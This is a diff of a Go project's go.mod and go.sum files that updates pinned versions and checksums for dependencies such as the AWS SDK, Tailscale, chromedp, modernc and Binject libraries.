github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7 // indirect
|
||||
github.com/aws/smithy-go v1.19.0 // indirect
|
||||
github.com/bits-and-blooms/bitset v1.13.0 // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/coreos/go-iptables v0.7.0 // indirect
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 // indirect
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 // indirect
|
||||
github.com/gaissmai/bart v0.4.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/glebarez/go-sqlite v1.21.2 // indirect
|
||||
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.3.0 // indirect
|
||||
github.com/gobwas/ws v1.3.2 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/go-cmp v0.6.0 // indirect
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
|
||||
github.com/gorilla/csrf v1.7.1 // indirect
|
||||
github.com/gorilla/securecookie v1.1.1 // indirect
|
||||
github.com/gorilla/csrf v1.7.2 // indirect
|
||||
github.com/gorilla/securecookie v1.1.2 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/hdevalence/ed25519consensus v0.1.0 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 // indirect
|
||||
github.com/illarion/gonotify v1.0.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.5.4 // indirect
|
||||
@@ -131,7 +135,7 @@ require (
|
||||
github.com/jmespath/go-jmespath v0.4.0 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.3.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
@@ -145,51 +149,50 @@ require (
|
||||
github.com/mdlayher/socket v0.5.0 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||
github.com/ncruces/julianday v0.1.5 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.18 // indirect
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.21 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/rsteube/carapace-shlex v0.1.1 // indirect
|
||||
github.com/safchain/ethtool v0.3.0 // indirect
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e // indirect
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780 // indirect
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a // indirect
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 // indirect
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4 // indirect
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272 // indirect
|
||||
github.com/tcnksm/go-httpstat v0.2.0 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 // indirect
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e // indirect
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 // indirect
|
||||
github.com/vishvananda/netns v0.0.4 // indirect
|
||||
github.com/x448/float16 v0.8.4 // indirect
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect
|
||||
golang.org/x/mod v0.13.0 // indirect
|
||||
golang.org/x/sync v0.4.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/tools v0.14.0 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/mod v0.17.0 // indirect
|
||||
golang.org/x/sync v0.7.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
golang.org/x/tools v0.20.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.29.0 // indirect
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||
modernc.org/libc v1.49.3 // indirect
|
||||
modernc.org/mathutil v1.6.0 // indirect
|
||||
modernc.org/memory v1.7.2 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
nhooyr.io/websocket v1.8.7 // indirect
|
||||
modernc.org/memory v1.8.0 // indirect
|
||||
modernc.org/strutil v1.2.0 // indirect
|
||||
modernc.org/token v1.1.0 // indirect
|
||||
mvdan.cc/sh/v3 v3.7.0 // indirect
|
||||
nhooyr.io/websocket v1.8.10 // indirect
|
||||
)
|
||||
@@ -1,30 +1,30 @@
|
||||
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go/compute v1.23.0 h1:tP41Zoavr8ptEqaW6j+LQOnyBBhO7OkOMAGrgLopTwY=
|
||||
cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM=
|
||||
cloud.google.com/go/compute v1.24.0 h1:phWcR2eWzRJaL/kOiJwfFsPs4BaKq1j6vnpZrc1YlVg=
|
||||
cloud.google.com/go/compute v1.24.0/go.mod h1:kw1/T+h/+tK2LJK0wiPPx1intgdAM3j/g3hFDlscY40=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek=
|
||||
filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
|
||||
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||
filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
|
||||
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8=
|
||||
github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
|
||||
@@ -41,7 +41,6 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow=
|
||||
github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
|
||||
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
|
||||
@@ -55,85 +54,91 @@ github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0e
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0 h1:gMT0IW+03wtYJhRqTVYn0wLzwdnK9sRMcxmtfGzRdJc=
|
||||
github.com/aws/aws-sdk-go-v2 v1.21.0/go.mod h1:/RfNgGmRxI+iFOB1OeJUyxiU+9s88k3pfHvDagGEp0M=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42 h1:28jHROB27xZwU0CB88giDSjz7M1Sba3olb5JBGwina8=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.42/go.mod h1:4AZM3nMMxwlG+eZlxvBKqwVbkDLlnN2a4UGTL6HjaZI=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 h1:s8yOkDh+5b1jUDhMBtngF6zKWLDs84chUk2Vk0c38Og=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.40/go.mod h1:VtEHVAAqDWASwdOqj/1huyT6uHbs5s8FUHfDQdky/Rs=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 h1:uDZJF1hu0EVT/4bogChk8DyjSF6fof6uL/0Y26Ma7Fg=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11/go.mod h1:TEPP4tENqBGO99KwVpV9MlOX4NSrSLP8u3KRy2CDwA8=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 h1:22dGT7PneFMx4+b3pz7lMTRyN8ZKH7M2cW4GP9yUS2g=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41/go.mod h1:CrObHAuPneJBlfEJ5T3szXOUkLEThaGfvnhTf33buas=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 h1:SijA0mgjV8E+8G45ltVHs0fvKpTj8xmZJ3VwhGKtUSI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35/go.mod h1:SJC1nEVVva1g3pHAIdCp7QsRIkMmLAgoDquQ9Rr8kYw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 h1:g+qlObJH4Kn4n21g69DjspU0hKTjWtq7naZ9OLCv0ew=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43/go.mod h1:rzfdUlfA+jdgLDmPKjd3Chq9V7LVLYo1Nz++Wb91aRo=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 h1:CdzPW9kKitgIiLV1+MHobfR5Xg25iYnyzWZhyQuSlDI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35/go.mod h1:QGF2Rs33W5MaN9gYdEQOBBFPLwTZkEhRwI33f7KIG0o=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 h1:JON9MBvwUlM8HXylfB2caZuH3VXz9RxO4SMp2+TNc3Q=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0/go.mod h1:JjBzoceyKkpQY3v1GPIdg6kHqUFHRJ7SDlwtwoH0Qh8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 h1:YkNzx1RLS0F5qdf9v1Q8Cuv9NXCL2TkosOxhzlUPV64=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1/go.mod h1:fIAwKQKBFu90pBxx07BFOMJLpRUGu8VOzLJakeY+0K4=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 h1:8lKOidPkmSmfUtiTgtdXWgaKItCZ/g75/jEk6Ql6GsA=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1/go.mod h1:yygr8ACQRY2PrEcy3xsUI357stq2AxnFM6DIsR9lij4=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 h1:s4bioTgjSFRwOoyEFzAVCmFmoowBgjTR8gkrF/sQ4wk=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0/go.mod h1:VC7JDqsqiwXukYEDjoHh9U0fOJtNWh04FPQz4ct4GGU=
|
||||
github.com/aws/smithy-go v1.14.2 h1:MJU9hqBGbvWZdApzpvoF2WAIJDbtjK2NDJSiJP7HblQ=
|
||||
github.com/aws/smithy-go v1.14.2/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1 h1:xAojnj+ktS95YZlDf0zxWBkbFtymPeDP+rvUQIH3uAU=
|
||||
github.com/aws/aws-sdk-go-v2 v1.24.1/go.mod h1:LNh45Br1YAkEKaAqvmE1m8FUx6a5b/V0oAKV7of29b4=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5 h1:lodGSevz7d+kkFJodfauThRxK9mdJbyutUxGq1NNhvw=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.26.5/go.mod h1:DxHrz6diQJOc9EwDslVRh84VjjrE17g+pVZXUeSxaDU=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16 h1:8q6Rliyv0aUFAVtzaldUEcS+T5gbadPbWdV1WcAddK8=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.16.16/go.mod h1:UHVZrdUsv63hPXFo1H7c5fEneoVo9UXiz36QG1GEPi0=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11 h1:c5I5iH+DZcH3xOIMlz3/tCKJDaHFwYEmxvlh2fAcFo8=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.14.11/go.mod h1:cRrYDYAMUohBJUtUnOhydaMHtiK/1NZ0Otc9lIb6O0Y=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10 h1:vF+Zgd9s+H4vOXd5BMaPWykta2a6Ih0AKLq/X6NYKn4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.2.10/go.mod h1:6BkRjejp/GR4411UGqkX8+wFMbFbqsUIimfK4XjOKR4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10 h1:nYPe006ktcqUji8S2mqXf9c/7NdiKriOwMvWQHgYztw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.5.10/go.mod h1:6UV4SZkVvmODfXKql4LCbaZUpF7HO2BX38FgBf9ZOLw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2 h1:GrSw8s0Gs/5zZ0SX+gX4zQjRnRsMJDJ2sLur1gRBhEM=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.7.2/go.mod h1:6fQQgfuGmw8Al/3M2IgIllycxV7ZW7WCdVSqfBeUiCY=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4 h1:/b31bi3YVNlkzkBrm9LfpaKoaYZUxIAj4sHfOTmLfqw=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.10.4/go.mod h1:2aGXHFmbInwgP9ZfpmdIfOELL79zhdNYNmReK8qDfdQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10 h1:DBYTXwIGQSGs9w4jKm60F5dmCQ3EEruxdc0MFh+3EY4=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.10.10/go.mod h1:wohMUQiFdzo0NtxbBg0mSRGZ4vL3n0dKjLTINdcIino=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7 h1:a8HvP/+ew3tKwSXqL3BCSjiuicr+XTU2eFYeogV9GJE=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.44.7/go.mod h1:Q7XIWsMo0JcMpI/6TGD6XXcXcV1DbTj6e9BKNntIMIM=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7 h1:eajuO3nykDPdYicLlP3AGgOyVN3MOlFmZv7WGTuJPow=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.18.7/go.mod h1:+mJNDdF+qiUlNKNC3fxn74WWNN+sOiGOEImje+3ScPM=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7 h1:QPMJf+Jw8E1l7zqhZmMlFw6w1NmfkfiSK8mS4zOx3BA=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.21.7/go.mod h1:ykf3COxYI0UJmxcfcxcVuz7b6uADi1FkiUz6Eb7AgM8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7 h1:NzO4Vrau795RkUdSHKEwiR01FaGzGOH1EETJ+5QHnm0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.26.7/go.mod h1:6h2YuIoxaMSCFf5fi1EgZAwdfkGMgDY+DVfa61uLe4U=
|
||||
github.com/aws/smithy-go v1.19.0 h1:KWFKQV80DpP3vJrrA9sVAHQ5gc2z8i4EzrLhLlWXcBM=
|
||||
github.com/aws/smithy-go v1.19.0/go.mod h1:NukqUGpCZIILqqiV0NIjeFh24kd/FAa4beRb6nbIUPE=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/bits-and-blooms/bitset v1.13.0 h1:bAQ9OPNFYbGHV6Nez0tmNI0RiEu7/hxlYJRUA0wFAVE=
|
||||
github.com/bits-and-blooms/bitset v1.13.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998 h1:2zipcnjfFdqAjOQa8otCCh0Lk1M7RBzciy3s80YAKHk=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.3 h1:Wq58e0dZOdHsxaj9Owmfcf+ibtpYN1N0FWVbaxa/esg=
|
||||
github.com/chromedp/chromedp v0.9.3/go.mod h1:NipeUkUcuzIdFbBP8eNNvl9upcceOfWzoJn6cRe4ksA=
|
||||
github.com/chromedp/cdproto v0.0.0-20240202021202-6d0b6a386732/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071 h1:RdCf9hH3xq5vJifrjGB7zQlFkdRB3pAppcX2helDq2U=
|
||||
github.com/chromedp/cdproto v0.0.0-20240426225625-909263490071/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.5 h1:viASzruPJOiThk7c5bueOUY91jGLJVximoEMGoH93rg=
|
||||
github.com/chromedp/chromedp v0.9.5/go.mod h1:D4I2qONslauw/C7INoCir1BJkSwBYMyZgx8X276z3+Y=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y=
|
||||
